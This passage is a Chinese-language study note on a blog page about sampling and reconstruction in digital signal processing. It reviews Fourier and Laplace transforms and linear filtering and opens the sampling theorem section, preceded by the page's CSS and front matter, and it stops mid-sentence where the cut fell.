0, 0.8);\n }\n\n dt-article .link {\n text-decoration: underline;\n cursor: pointer;\n }\n\n dt-article ul,\n dt-article ol {\n padding-left: 24px;\n }\n\n dt-article li {\n margin-bottom: 1em;\n margin-left: 0;\n padding-left: 0;\n }\n\n dt-article li:last-child {\n margin-bottom: 0;\n }\n\n dt-article pre {\n font-size: 14px;\n margin-bottom: 20px;\n }\n\n dt-article hr {\n grid-column: screen;\n width: 100%;\n border: none;\n border-bottom: 1px solid rgba(0, 0, 0, 0.1);\n margin-top: 60px;\n margin-bottom: 60px;\n }\n\n dt-article section {\n margin-top: 60px;\n margin-bottom: 60px;\n }\n\n dt-article span.equation-mimic {\n font-family: georgia;\n font-size: 115%;\n font-style: italic;\n }\n\n dt-article>dt-code,\n dt-article section>dt-code {\n display: block;\n }\n\n dt-article>dt-math[block],\n dt-article section>dt-math[block] {\n display: block;\n }\n\n @media (max-width: 768px) {\n\n dt-article>dt-code,\n dt-article section>dt-code,\n dt-article>dt-math[block],\n dt-article section>dt-math[block] {\n overflow-x: scroll;\n -ms-overflow-style: none; // IE 10+\n overflow: -moz-scrollbars-none; // Firefox\n }\n\n dt-article>dt-code::-webkit-scrollbar,\n dt-article section>dt-code::-webkit-scrollbar,\n dt-article>dt-math[block]::-webkit-scrollbar,\n dt-article section>dt-math[block]::-webkit-scrollbar {\n display: none; // Safari and Chrome\n }\n }\n\n dt-article .citation {\n color: #668;\n cursor: pointer;\n }\n\n dt-include {\n width: auto;\n display: block;\n }\n\n dt-figure {\n contain: layout style;\n }\n\n /* KaTeX */\n\n .katex,\n .katex-prerendered {\n contain: style;\n display: inline-block;\n }\n\n /* Tables */\n\n dt-article table {\n border-collapse: collapse;\n margin-bottom: 1.5rem;\n border-bottom: 1px solid rgba(0, 0, 0, 0.2);\n }\n\n dt-article table th {\n border-bottom: 1px solid rgba(0, 0, 0, 0.2);\n }\n\n dt-article table td {\n border-bottom: 1px solid rgba(0, 0, 0, 0.05);\n }\n\n dt-article table tr:last-of-type td {\n border-bottom: none;\n }\n\n dt-article table th,\n dt-article table td {\n font-size: 15px;\n padding: 2px 8px;\n }\n\n dt-article table tbody :first-child td {\n padding-top: 2px;\n }\n\n /*\n * Copyright 2018 The Distill Template Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n span.katex-display {\n text-align: left;\n padding: 8px 0 8px 0;\n margin: 0.5em 0 0.5em 1em;\n }\n\n span.katex {\n -webkit-font-smoothing: antialiased;\n color: rgba(0, 0, 0, 0.8);\n font-size: 1.18em;\n }\n\n /*\n * Copyright 2018 The Distill Template Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n @media print {\n\n @page {\n size: 8in 11in;\n\n @bottom-right {\n content: counter(page) \" of \"counter(pages);\n }\n }\n\n html {\n /* no general margins -- CSS Grid takes care of those */\n }\n\n p,\n code {\n page-break-inside: avoid;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n dt-header {\n visibility: hidden;\n }\n\n dt-footer {\n display: none !important;\n }\n\n }\n</style>\n<style>\n .fake-img {\n background: #bbb;\n border: 1px solid rgba(73, 68, 68, 0.1);\n box-shadow: 0 0px 4px rgba(0, 0, 0, 0.1);\n margin-bottom: 12px;\n }\n\n .fake-img p {\n font-family: monospace;\n color: white;\n text-align: left;\n margin: 12px 0;\n text-align: center;\n font-size: 16px;\n }\n</style>\n\n<script type=\"text/front-matter\">\n title: C.1 Sampling and Reconstruction\n description: The first part of Chapter 1 covers the basic issues of sampling, aliasing, and analog reconstruction at a level appropriate for juniors. The second part is more advanced and discusses the practical issues of choosing and defining specifications for antialiasing prefilters and anti-image postfilters.\n authors: \n \n - ๅœŸ่ฑ†: http://iphysresearch.github.io\n \n affiliations:\n \n - BNU: www.bnu.edu.cn\n \n publishedDate: 2019-09-27\n updatedDate: 2019-10-26\n id: Intro2sp_C1_Sampling_and_Reconstruction\n</script>\n\n<dt-header>\n <style>\n dt-header {\n display: block;\n position: relative;\n height: 60px;\n background-color: hsl(200, 60%, 15%);\n width: 100%;\n box-sizing: border-box;\n z-index: 2;\n color: rgba(0, 0, 0, 0.8);\n border-bottom: 1px solid rgba(0, 0, 0, 0.08);\n box-shadow: 0 1px 6px rgba(0, 0, 0, 0.05);\n }\n\n dt-header .content {\n height: 70px;\n }\n\n dt-header a {\n font-size: 16px;\n height: 60px;\n line-height: 60px;\n text-decoration: none;\n color: rgba(255, 255, 255, 0.8);\n padding: 22px 0;\n }\n\n dt-header a:hover {\n color: rgba(255, 255, 255, 1);\n }\n\n dt-header svg {\n width: 24px;\n position: relative;\n top: 4px;\n margin-right: 2px;\n }\n\n @media(min-width: 1080px) {\n dt-header {\n height: 70px;\n }\n\n dt-header a {\n height: 70px;\n line-height: 70px;\n padding: 28px 0;\n }\n\n dt-header .logo {}\n }\n\n dt-header svg path {\n fill: none;\n stroke: rgba(255, 255, 255, 0.8);\n stroke-width: 3px;\n }\n\n dt-header .logo {\n font-size: 17px;\n font-weight: 200;\n }\n\n dt-header .nav {\n float: right;\n font-weight: 300;\n }\n\n dt-header .nav a {\n font-size: 12px;\n margin-left: 24px;\n text-transform: uppercase;\n }\n </style>\n\n <div class=\"content l-page\">\n <a href=\"/\" class=\"logo\">\n <!-- <svg viewBox=\"-607 419 64 64\">\n <path\n d=\"M-573.4,478.9c-8,0-14.6-6.4-14.6-14.5s14.6-25.9,14.6-40.8c0,14.9,14.6,32.8,14.6,40.8S-565.4,478.9-573.4,478.9z\">\n </path>\n </svg> -->\n IPhysResearch\n </a>\n <div class=\"nav\">\n <a href=\"/blog/\">Blog</a>\n <!-- <a href=\"/prize/\">Prize</a> -->\n <!-- <a href=\"/blog/\">Submit</a> -->\n </div>\n </div>\n</dt-header>\n\n<!-- <dt-title>\n <h1>C.1 Sampling and Reconstruction</h1>\n <p>The first part of Chapter 1 covers the basic issues of sampling, aliasing, and analog reconstruction at a level appropriate for juniors. The second part is more advanced and discusses the practical issues of choosing and defining specifications for antialiasing prefilters and anti-image postfilters.</p>\n</dt-title> -->\n\n<dt-article class=\"centered\">\n <h1>C.1 Sampling and Reconstruction</h1>\n <p>The first part of Chapter 1 covers the basic issues of sampling, aliasing, and analog reconstruction at a level appropriate for juniors. The second part is more advanced and discusses the practical issues of choosing and defining specifications for antialiasing prefilters and anti-image postfilters.</p>\n <dt-byline></dt-byline>\n\n <div class=\"toc\">\n<ul>\n<li><a href=\"#11-introduction\">1.1 Introduction</a></li>\n<li><a href=\"#22-review-of-analog-signals\">2.2 Review of Analog Signals</a></li>\n<li><a href=\"#13-sampling-theorem\">1.3 Sampling Theorem</a><ul>\n<li><a href=\"#131-sampling-theorem\">1.3.1 Sampling Theorem</a></li>\n<li><a href=\"#132-antialiasing-prefilters\">1.3.2 Antialiasing Prefilters</a></li>\n<li><a href=\"#133-hardware-limits\">1.3.3 Hardware Limits</a></li>\n</ul>\n</li>\n<li><a href=\"#14-sampling-of-sinusoids\">1.4 Sampling of Sinusoids</a><ul>\n<li><a href=\"#141-analog-reconstruction-and-aliasing\">1.4.1 Analog Reconstruction and Aliasing</a></li>\n<li><a href=\"#142-rotational-motion\">1.4.2 Rotational Motion</a></li>\n<li><a href=\"#143-dsp-frequency-units\">1.4.3 DSP Frequency Units</a></li>\n</ul>\n</li>\n<li><a href=\"#15-spectra-of-sampled-signals\">1.5 Spectra of Sampled Signals*</a></li>\n</ul>\n</div>\n<hr>\n<h2 id=\"11-introduction\">1.1 Introduction</h2>\n<p>ๆจกๆ‹Ÿ๏ผˆAnalog๏ผ‰ไฟกๅท็š„ๆ•ฐๅญ—๏ผˆDigital๏ผ‰ๅค„็†ๆ˜ฏ็ป่ฟ‡ไธ‰ไธชๆญฅ้ชค๏ผš</p>\n<ol>\n<li>ๆจกๆ‹Ÿไฟกๅท่ขซๆ•ฐๅญ—ๅŒ–๏ผˆdigitized๏ผ‰ใ€‚ๅณ่ฟ›่กŒ้‡‡ๆ ท๏ผˆsampled๏ผ‰๏ผŒๆฏไธช้‡‡ๆ ทๆ ทๆœฌไผš่ขซ้‡ๅŒ–ไธบไธ€ไบ›ๆœ‰้™็š„ๆฏ”็‰น๏ผˆbits๏ผ‰ใ€‚่ฟ™ไธช่ฟ‡็จ‹็งฐไฝœ A/D ่ฝฌๆข๏ผˆA/D conversion๏ผ‰ใ€‚</li>\n<li>่ฟ™ไบ›้‡‡ๆ ท็‚น๏ผˆsamples๏ผ‰ไผš่ขซ็ป่ฟ‡ไธ€ไธชๅซๅšๆ•ฐๅญ—ไฟกๅทๅค„็†ๅ™จ๏ผˆdigital signal processor๏ผ‰่ฟ›่กŒๅค„็†ใ€‚</li>\n<li>้‡‡ๆ ท็š„่พ“ๅ‡บ็ป“ๆžœ<u>ๅฏ่ƒฝ</u>่ฝฌๅŒ–ๅ›žๅˆฐๆจกๆ‹Ÿไฟกๅท๏ผŒ้€š่ฟ‡ไธ€ไธชๆจกๆ‹Ÿไฟกๅท้‡ๆž„ๅ™จ๏ผˆanalog reconstructor๏ผ‰๏ผŒๅณๆ‰€่ฐ“็š„ D/A ่ฝฌๆข๏ผˆD/A conversion๏ผ‰ใ€‚</li>\n</ol>\n<p>้‚ฃไนˆ๏ผŒๅฏนไบŽไธ€ไธชๅ…ธๅž‹็š„ๆ•ฐๅญ—ไฟกๅทๅค„็†็ณป็ปŸๆฅ่ฏด๏ผŒๅฆ‚ไธ‹ๅ›พ๏ผš</p>\n<p><img alt=\"image-20190930121040939\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190930121040939.png\"></p>\n<p>ไธญ้—ด็š„ๆ•ฐๅญ—ไฟกๅทๅค„็†ๅ™จ๏ผˆdigital signal processor๏ผ‰ๅฏไปฅ่ขซ็ผ–็จ‹๏ผŒไปฅๅฎž็Žฐๅ„็งๅ„ๆ ท็š„ไฟกๅทๅค„็†ๆ“ไฝœ๏ผŒๆฏ”ๅฆ‚ๆปคๆณข๏ผˆfiltering๏ผ‰๏ผŒ่ƒฝ่ฐฑไผฐ่ฎก๏ผˆspectrum estimation๏ผ‰็ญ‰ๅ…ถไป–ๆ•ฐๅญ—ไฟกๅทๅค„็†๏ผˆDSP๏ผ‰็ฎ—ๆณ•ใ€‚ๆ นๆฎไธๅŒ็š„ๆ€ง่ƒฝๅ’Œๅบ”็”จ็š„่ฎก็ฎ—้œ€ๆฑ‚๏ผŒๆ•ฐๅญ—ไฟกๅทๅค„็†ๅ™จๅฏไปฅๆœ‰ๅพˆๅคš็งๅฎž็Žฐ๏ผŒๆฏ”ๅฆ‚ a general purpose computer, minicomputer, special purpose DSP chip ๆˆ–่€…็”จๆฅๅฎž็Žฐ็‰นๅฎšไปปๅŠก็š„ๅ…ถไป–ๆ•ฐๅญ—ๅŒ–็กฌไปถใ€‚</p>\n<p>ๅ…ณไบŽ DSP ็ฎ—ๆณ•็š„่ฎพ่ฎกๅ’Œ้ƒจ็ฝฒ๏ผŒๅฐ†ไผšๅœจๅ‰ฉไธ‹็š„ๅ†…ๅฎนไธญไป‹็ปๅˆฐใ€‚ๅ‰ไธคไธช็ซ ่Š‚ไธญ๏ผŒๆˆ‘ไปฌไผš่ฎจ่ฎบไธคไธชๆ ธๅฟƒๆฆ‚ๅฟต๏ผšโ€œ้‡‡ๆ ทโ€๏ผˆโ€˜samplingโ€™๏ผ‰ๅ’Œโ€œ้‡ๅŒ–โ€๏ผˆโ€˜quantizationโ€™๏ผ‰ใ€‚่ฟ™ไธคไธชๆฆ‚ๅฟตๆ˜ฏไปปไฝ• DSP ็ฎ—ๆณ•็š„ๅฟ…่ฆ็Ÿฅ่ฏ†็‚นใ€‚</p>\n<h2 id=\"22-review-of-analog-signals\">2.2 Review of Analog Signals</h2>\n<p>ๆˆ‘ไปฌ้ฆ–ๅ…ˆๅ›ž้กพไธ€ไบ›ไธŽๆจกๆ‹Ÿ็ณป็ปŸ็†่ฎบ็š„็›ธๅ…ณไธ“้ข˜ใ€‚ไธ€ไธชๆจกๆ‹Ÿไฟกๅทๅฏไปฅ็”จไธ€ไธชๅ…ณไบŽๆ—ถ้—ด็š„ๅ‡ฝๆ•ฐๆฅๆ่ฟฐ๏ผŒๅณ $x(t)$ใ€‚ๅ…ณไบŽ $x(t)$ ็š„<strong>ๅ‚…้‡Œๅถๅ˜ๆข๏ผˆFourier transform๏ผ‰</strong>$X(\\Omega)$ ๅฐฑๆ˜ฏ่ฏฅๆจกๆ‹Ÿไฟกๅท็š„ๅŠŸ็Ž‡่ฐฑ๏ผˆfrequency spectrum of the signal๏ผ‰๏ผš<br>\n$$<br>\nX(\\Omega) = \\int^\\infty_{-\\infty}x(t)e^{-j\\Omega t}dt<br>\n$$<br>\nๅ…ถไธญ $\\Omega$ ๆ˜ฏๅผงๅบฆ้ข‘็Ž‡<dt-fn>่ฟ™้‡Œๆ˜ฏ็”จ $\\Omega$ ๆฅไปฃ่กจ็”จ [radians/sec] ไธบๅ•ไฝ็š„็‰ฉ็†้ข‘็Ž‡๏ผˆphysical frequency๏ผ‰๏ผ›่€Œ $\\omega$ ไปฃ่กจ็”จ [radians/sample] ไธบๅ•ไฝ็š„ๆ•ฐๅญ—้ข‘็Ž‡๏ผˆdigital frequency๏ผ‰ใ€‚</dt-fn>๏ผˆradian frequency๏ผ‰๏ผŒๅ•ไฝๆ˜ฏ [radians/second]ใ€‚้‚ฃไนˆ้€šๅธธ็š„<strong>้ข‘็Ž‡ $f$๏ผˆๅ•ไฝๆ˜ฏ [Hertz] ๆˆ– [cycles/sec]๏ผ‰ไธŽ $\\Omega$ ไน‹้—ด็š„ๅ…ณ็ณป</strong>ๆ˜ฏ</p>\n<p>$$<br>\n\\Omega=2\\pi f<br>\n$$<br>\n$X(\\Omega)$ ็š„็‰ฉ็†ๆ„ไน‰ๅฏไปฅไปŽ<strong>้€†ๅ‚…้‡Œๅถๅ˜ๆข๏ผˆinverse Fourier transform๏ผ‰</strong>ไธญ็œ‹ๅˆฐ๏ผŒๅณ<strong>ไปปๆ„ไธ€ไธชไฟกๅท $x(t)$ ้ƒฝๅฏไปฅ้€š่ฟ‡ไธๅŒ้ข‘็Ž‡ไธ‹็š„ๆญฃๅผฆๅ‡ฝๆ•ฐ๏ผˆsinusoids๏ผ‰็บฟๆ€งๅ ๅŠ </strong>ๅพ—ๅˆฐ๏ผš<br>\n$$<br>\nx(t) = \\int^\\infty_{-\\infty}X(\\Omega)e^{j\\Omega t}\\frac{d\\Omega}{2\\pi}<br>\n$$<br>\nๅฏนไบŽๆฏไธชๆญฃๅผฆๅ‡ฝๆ•ฐ็š„็›ธๅฏน้‡่ฆๆ€งๆ˜ฏ็”ฑ $X(\\Omega)$ ๆฅ่กก้‡ใ€‚ๆ‹‰ๆ™ฎๆ‹‰ๆ–ฏๅ˜ๆข๏ผˆLaplace transform๏ผ‰็š„ๅฎšไน‰ๆ˜ฏ<br>\n$$<br>\nX(s) = \\int^\\infty_{-\\infty}x(t)e^{-st}dt<br>\n$$<br>\nๅฝ“ $s=j\\Omega$๏ผŒๆ‹‰ๆ™ฎๆ‹‰ๆ–ฏๅ˜ๆขๅฐฑๅฏไปฅ็บฆๅŒ–ๅˆฐๅ‚…้‡Œๅถๅ˜ๆขใ€‚ๆ‹‰ๅผๅ˜ๆข้‡Œ s-ๅนณ้ขๅœจๆž็‚น/้›ถ็‚น๏ผˆpole/zero๏ผ‰็š„็‰น็‚นๅฏไปฅ็š„ๆไพ›ไฟกๅท็š„้ขๅค–ๅ†…็ฆ€ๆ€ง่ดจใ€‚ๆฏ”ๆ–น่ฏด๏ผŒไธ€ไธชๅ…ธๅž‹็š„ๆŒ‡ๆ•ฐ่กฐๅ‡ๆญฃๅผฆๆณข<dt-fn>ๅŽŸไนฆ่ฟ™้‡Œๅบ”่ฏฅๆœ‰่ฏฏ~</dt-fn></p>\n<p>$$<br>\nx(t)=e^{-\\alpha_1t}e^{j\\Omega_1t}=e^{s_1t}<br>\n$$<br>\n<img alt=\"image-20190916213603249\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190916213603249.png\"></p>\n<p>ๅ…ถไธญ $s_1=-\\alpha_1+j\\Omega_1$๏ผŒๅฎƒๆ‰€ๅฏนๅบ”็š„ๆ‹‰ๆฐๅ˜ๆขๆ˜ฏ<br>\n$$<br>\nX(s) = \\frac{1}{s-s_1}<br>\n$$<br>\n<img alt=\"image-20190917135355658\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917135355658.png\"></p>\n<p>ๅฏไปฅ็œ‹ๅˆฐๅœจ s-ๅนณ้ข็š„ๅทฆไพง $s=s_1$ ๅค„ๆœ‰ไธ€ไธชๆž็‚นใ€‚</p>\n<p>็„ถๅŽ๏ผŒๆˆ‘ไปฌ่€ƒ่™‘ไธ€ไธช่พ“ๅ…ฅไฟกๅท $x(t)$ ็š„็บฟๆ€ง็ณป็ปŸ๏ผˆlinear system๏ผ‰๏ผš</p>\n<p><img alt=\"image-20190917135613803\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917135613803.png\"></p>\n<p>่ฏฅ็ณป็ปŸๅฎŒๅ…จ็”ฑๅ“ๅบ”ๅ‡ฝๆ•ฐ๏ผˆimpulse response๏ผ‰$h(t)$ ๆฅๆ่ฟฐใ€‚่พ“ๅ‡บไฟกๅท $y(t)$ ๅฏไปฅ้€š่ฟ‡ๆ—ถๅŸŸๅท็งฏ๏ผˆconvolution๏ผ‰ๆฅๅพ—ๅˆฐ๏ผš<br>\n$$<br>\ny(t)=\\int^\\infty_{-\\infty}h(t-t')x(t')dt'<br>\n$$<br>\nๆˆ–่€…๏ผŒๅœจ้ข‘ๅŸŸ้‡Œ้€š่ฟ‡็‚น็งฏ๏ผˆmultiplication๏ผ‰ๆฅๅพ—ๅˆฐ๏ผš<br>\n$$<br>\nY(\\Omega)=H(\\Omega)X(\\Omega)<br>\n$$<br>\nๅ…ถไธญ๏ผŒ$H(\\Omega)$ ๆ˜ฏ่ฏฅ็บฟๆ€ง็ณป็ปŸ็š„้ข‘ๅŸŸๅ“ๅบ”๏ผˆfrequency response๏ผ‰๏ผŒๅฎƒๅฏไปฅๆ นๆฎๅ“ๅบ”ๅ‡ฝๆ•ฐ $h(t)$ ็š„ๅ‚…้‡Œๅถๅ˜ๆขๆฅๅฎšไน‰๏ผš<br>\n$$<br>\nH(\\Omega)=\\int^\\infty_{-\\infty}h(t)e^{-j\\Omega t}dt<br>\n$$<br>\nไธ€ไธชๆปคๆณขๅ™จ็š„็จณๆ€๏ผˆsteady-state๏ผ‰ๆญฃๅผฆๅ“ๅบ”๏ผŒๅฏไปฅๆ นๆฎๆญฃๅผฆ่พ“ๅ…ฅไฟกๅท็š„ๅ“ๅบ”ๅฆ‚ๅ›พไธ‹ๅฎšไน‰๏ผš</p>\n<p><img alt=\"image-20190917141207425\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917141207425.png\"></p>\n<p>ไธŠๅ›พๆ่ฟฐไบ†็บฟๆ€งๆปคๆณขๅ™จ็š„ๆปคๆณข๏ผˆfiltering๏ผ‰ๆ–นๅผ๏ผŒๅณ้’ˆๅฏนๆŸไธ€็ป™ๅฎš้ข‘็Ž‡ๅˆ†้‡ $\\Omega$ ่ฟ›่กŒ็ผฉๅ‡๏ผˆๆˆ–ๆ”พๅคง๏ผ‰$H(\\Omega)$ ๅ€ไปฅๅฎž็Žฐๆปคๆณขๆ•ˆๆžœใ€‚ๆ›ดๅ‡†็กฎๅœฐ่ฏด๏ผŒ้ข‘็Ž‡ไธบ $\\Omega$ ็š„ๆญฃๅผฆ่พ“ๅ…ฅไฟกๅท็ป่ฟ‡่ฏฅๆปคๆณขๅ™จๅŽ๏ผŒ่พ“ๅ…ฅไฟกๅท็š„ๅน…ๅบฆ๏ผˆmagnitude๏ผ‰ไผšๆœ‰ไธ€ไธช $|H(\\Omega)|$ ๅ› ๅญๅ˜ๅŒ–๏ผŒๅ…ถ็›ธไฝ๏ผˆphase๏ผ‰ไผšๅนณ็งป $\\arg H(\\Omega)$๏ผš<br>\n$$<br>\nx(t)=e^{j\\Omega t} \\,\\,\\,\\,\\,\\,\\Rightarrow \\,\\,\\,\\,\\,\\,y(t)=H(\\Omega)e^{j\\Omega t}=|H(\\Omega)|e^{j\\Omega t+j\\arg H(\\Omega)}<br>\n$$</p>\n<p>๏ผˆๆŽจๅฏผ่ฟ‡็จ‹ <dt-fn>ๅ‚่€ƒ่‡ช๏ผš<a href=\"https://www.robots.ox.ac.uk/~dwm/Courses/2TF_2011/2TF-N3.pdf\">Ref</a>, <a href=\"https://www.analog.com/media/en/technical-documentation/dsp-book/dsp_book_Ch7.pdf\">Ref</a>, <a href=\"http://web.mit.edu/2.14/www/Handouts/Convolution.pdf\">Ref</a> $$\\begin{align}y(t) &amp;= \\int_th(t-t')\\cdot x(t')dt'\\\\&amp;=\\int_{t'}\\int_\\Omega H(\\Omega)e^{j\\Omega(t-t')}\\frac{d\\Omega}{2\\pi}\\cdot e^{j\\Omega_0t'}dt'\\\\&amp;=\\int_\\Omega H(\\Omega)e^{j\\Omega t}\\frac{d\\Omega}{2\\pi}\\cdot\\int_{t'}e^{j(\\Omega_0-\\Omega)t'}dt'\\\\&amp;=\\int_\\Omega H(\\Omega)e^{j\\Omega t}\\frac{d\\Omega}{2\\pi}\\cdot2\\pi\\delta(\\Omega_0-\\Omega)\\\\&amp;=H(\\Omega_0)e^{j\\Omega_0}\\end{align}$$</dt-fn>๏ผ‰</p>\n<p>็”ฑไบŽ็บฟๆ€งๅ ๅŠ ๆ€ง๏ผŒๅฆ‚ๆžœ่พ“ๅ…ฅไฟกๅทๆ˜ฏๆญฃๅผฆไฟกๅท๏ผŒๅˆ†ๅธƒๆœ‰้ข‘็Ž‡ $\\Omega_1$ ๅ’Œ $\\Omega_2$๏ผŒ็›ธๅฏนๅน…ๅบฆๆ˜ฏ $A_1$ ๅ’Œ $A_2$๏ผŒ<br>\n$$<br>\nx(t) = A_1e^{j\\Omega_1t}+ A_2e^{j\\Omega_2t}<br>\n$$<br>\n้‚ฃไนˆ๏ผŒๆปคๆณขไน‹ๅŽ๏ผŒ็จณๆ€่พ“ๅ‡บไฟกๅทๅฐ†ๆ˜ฏ<br>\n$$<br>\ny(t)=A_1H(\\Omega_1)e^{j\\Omega_1t}+A_2H(\\Omega_2)e^{j\\Omega_2t}<br>\n$$<br>\n่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๆปคๆณขๅ™จๆ”นๅ˜็š„ๆ˜ฏๆญฃๅผฆๅ‡ฝๆ•ฐๅ„่‡ชๅฏนๅบ”็š„้ข‘็Ž‡ๅน…ๅบฆ๏ผˆrelative amplitudes๏ผ‰๏ผŒ่€Œไธๆ˜ฏ้ข‘็Ž‡ๅ€ผใ€‚ๆปคๆณข็š„ๅ˜ๅŒ–ๆ•ˆๆžœไนŸๅฏไปฅๅœจ้ข‘็Ž‡ๅ›พไธŠไธ€็›ฎไบ†็„ถ๏ผš</p>\n<p><img alt=\"image-20190917143014730\" src=\"../../blog/static/C1.Sampling_and_Reconstruction/image-20190917143014730.png\"></p>\n<p>ไธŠๅ›พไธญ๏ผŒ่พ“ๅ…ฅไฟกๅท็š„่ƒฝ่ฐฑ $X(\\Omega)$ ๅŒ…ๅซๆœ‰ไธคไธช้™กๅณญ็š„็‰นๅฎš้ข‘็Ž‡็บฟ๏ผŒๅˆ†ๅˆซๅœจ $\\Omega_1$ ๅ’Œ $\\Omega_2$๏ผŒ่ฟ™ๅฏไปฅ้€š่ฟ‡่ฎก็ฎ— $x(t)$ ็š„ๅ‚…้‡Œๅถๅ˜ๆขๆฅๅพ—ๅˆฐ๏ผš<br>\n$$<br>\nX(\\Omega)=2\\pi A_1\\delta(\\Omega-\\Omega_1)+2\\pi A_2\\delta(\\Omega-\\Omega_2)<br>\n$$<br>\n้‚ฃไนˆ๏ผŒๅฏนๅบ”็š„่พ“ๅ‡บไฟกๅท่ƒฝ่ฐฑ $Y(\\Omega)$ ๅฏไปฅ่ฎก็ฎ—ๅพ—ๅˆฐ๏ผš<dt-fn>$\\int^\\infty_{-\\infty}e^{-j\\Omega t}dt=\\delta(\\Omega)$</dt-fn></p>\n<p>$$<br>\n\\begin{align}<br>\nY(\\Omega)&amp;=H(\\Omega)X(\\Omega)=H(\\Omega)(2\\pi A_1\\delta(\\Omega-\\Omega_1)+2\\pi A_2\\delta(\\Omega-\\Omega_2))\\\\<br>\n&amp;=2\\pi A_1H(\\Omega_1)\\delta(\\Omega-\\Omega_1)+2\\pi A_2H(\\Omega_2)\\delta(\\Omega-\\Omega_2)<br>\n\\end{align}<br>\n$$<br>\n็บฟๆ€งๆปคๆณขไน‹ๆ‰€ไปฅ้žๅธธๆœ‰็”จ๏ผŒๆ˜ฏๅ› ไธบๆˆ‘ไปฌๅฏไปฅๅฎŒๅ…จ็š„ๆŽงๅˆถๆปคๆณขๅ™จ็š„้ข‘็Ž‡ๅ“ๅบ” $H(\\Omega)$ ็š„ๅฝขๆ€ใ€‚ๆฏ”ๆ–น่ฏด๏ผŒๅฆ‚ๆžœๆญฃๅผฆๅˆ†้‡ $\\Omega_1$ ๅฏนๅบ”ไบ†ไธ€ไธชๆˆ‘ไปฌๆƒณ่ฆ็š„ไฟกๅท๏ผŒ่€Œ $\\Omega_2$ ๆ˜ฏๆ— ๅ…ณ็š„๏ผŒ้‚ฃไนˆๆˆ‘ไปฌๅฐฑๅฏไปฅ่ฎพ่ฎกไธ€ไธชๆปคๆณขๅ™จๅฎž็Žฐ่ฎฉ $\\Omega_1$ ้€š่ฟ‡็š„ๅŒๆ—ถ๏ผŒๆŠŠ $\\Omega_2$ ๅฑ่”ฝๆŽ‰ใ€‚่ฟ™ๆ ท็š„ๆปคๆณขๅ™จๅฐฑไผšๆœ‰ $H(\\Omega_1)=1,H(\\Omega_2)=0$ใ€‚</p>\n<h2 id=\"13-sampling-theorem\">1.3 Sampling Theorem</h2>\n<p>ไธ‹้ข๏ผŒๆˆ‘ไปฌ็ ”็ฉถ้‡‡ๆ ท็š„่ฟ‡็จ‹๏ผŒๅณไธ€ไธชๆจกๆ‹Ÿไฟกๅท $x(t)$ ไผšๆฏ้—ด้š” $T$ ็ง’ๅ‘จๆœŸๆ€ง็š„้‡‡ๆ ทใ€‚ๅ› ๆญค๏ผŒๆ—ถ้—ดๅฐฑๅฏไปฅไปฅ้‡‡ๆ ท้—ด้š”๏ผˆsampling interval๏ผ‰$T$ ไธบๅ•ไฝ่กจ่ฟฐไธบ๏ผš<br>\n$$<br>\nt=nT,n=0,1,2,\\dots<br>\n$$<br>\nๆŠŠ็ป่ฟ‡้‡‡ๆ ทๅŽ็š„ๆ ทๆœฌ็‚น่ง†ไฝœๆจกๆ‹Ÿไฟกๅท็š„่ฏ๏ผŒๆˆ‘ไปฌไผšๅ‘็Žฐ้‡‡ๆ ท่ฟ‡็จ‹็›ธๅฝ“ไบŽๆ˜ฏ็ฒ—ๆšด็š„ๆŠŠๅŽŸๅง‹่ฟž็ปญไฟกๅท $x(t)$ ๅˆ‡็ขŽไบ†๏ผŒไบŽๆ˜ฏ๏ผŒ่ฟ™ๅœจ้ข‘็Ž‡่ฐฑไธŠไผšๅผ•่ตท่ฎธๅคš้ซ˜้ข‘็Ž‡็š„ๅ“ๅบ”ๅˆ†้‡๏ผˆhigh-frequency components๏ผ‰ใ€‚ๆ‰€ไปฅ๏ผŒๅœจๆˆ‘ไปฌ่ฎพ่ฎก็ณป็ปŸ็š„ๆ—ถๅ€™๏ผŒๅฐฑ้œ€่ฆๅ›ž็ญ”่ฟ™ๆ ทไธคไธช้—ฎ้ข˜๏ผš</p>\n<ol>\n<li>ๅœจๅŽŸๆœฌ็š„้ข‘็Ž‡่ƒฝ่ฐฑไธŠ๏ผŒ้‡‡ๆ ทไผšๅธฆๆฅๆ€Žๆ ท็š„ๅฝฑๅ“๏ผŸ</li>\n<li>ๆˆ‘ไปฌ่ฏฅๅฆ‚ไฝ•้€‰ๆ‹ฉ้‡‡ๆ ท้—ด้š” $T$๏ผŸ</li>\n</ol>\n<p>ๆˆ‘ไปฌๅ…ˆๅ‡ญ็›ด่ง‰ๆฅๅ›ž็ญ”ไธŠ่ฟฐ้—ฎ้ข˜๏ผŒ็„ถๅŽ้€š่ฟ‡ๅ‚…้‡Œๅถๅ˜ๆขๆฅไธฅ่ฐจๆญฃๅผ็š„ๅ›ž็ญ”ๅฎƒใ€‚ๅฐฝ็ฎกๆˆ‘ไปฌๅ‘็Žฐ้‡‡ๆ 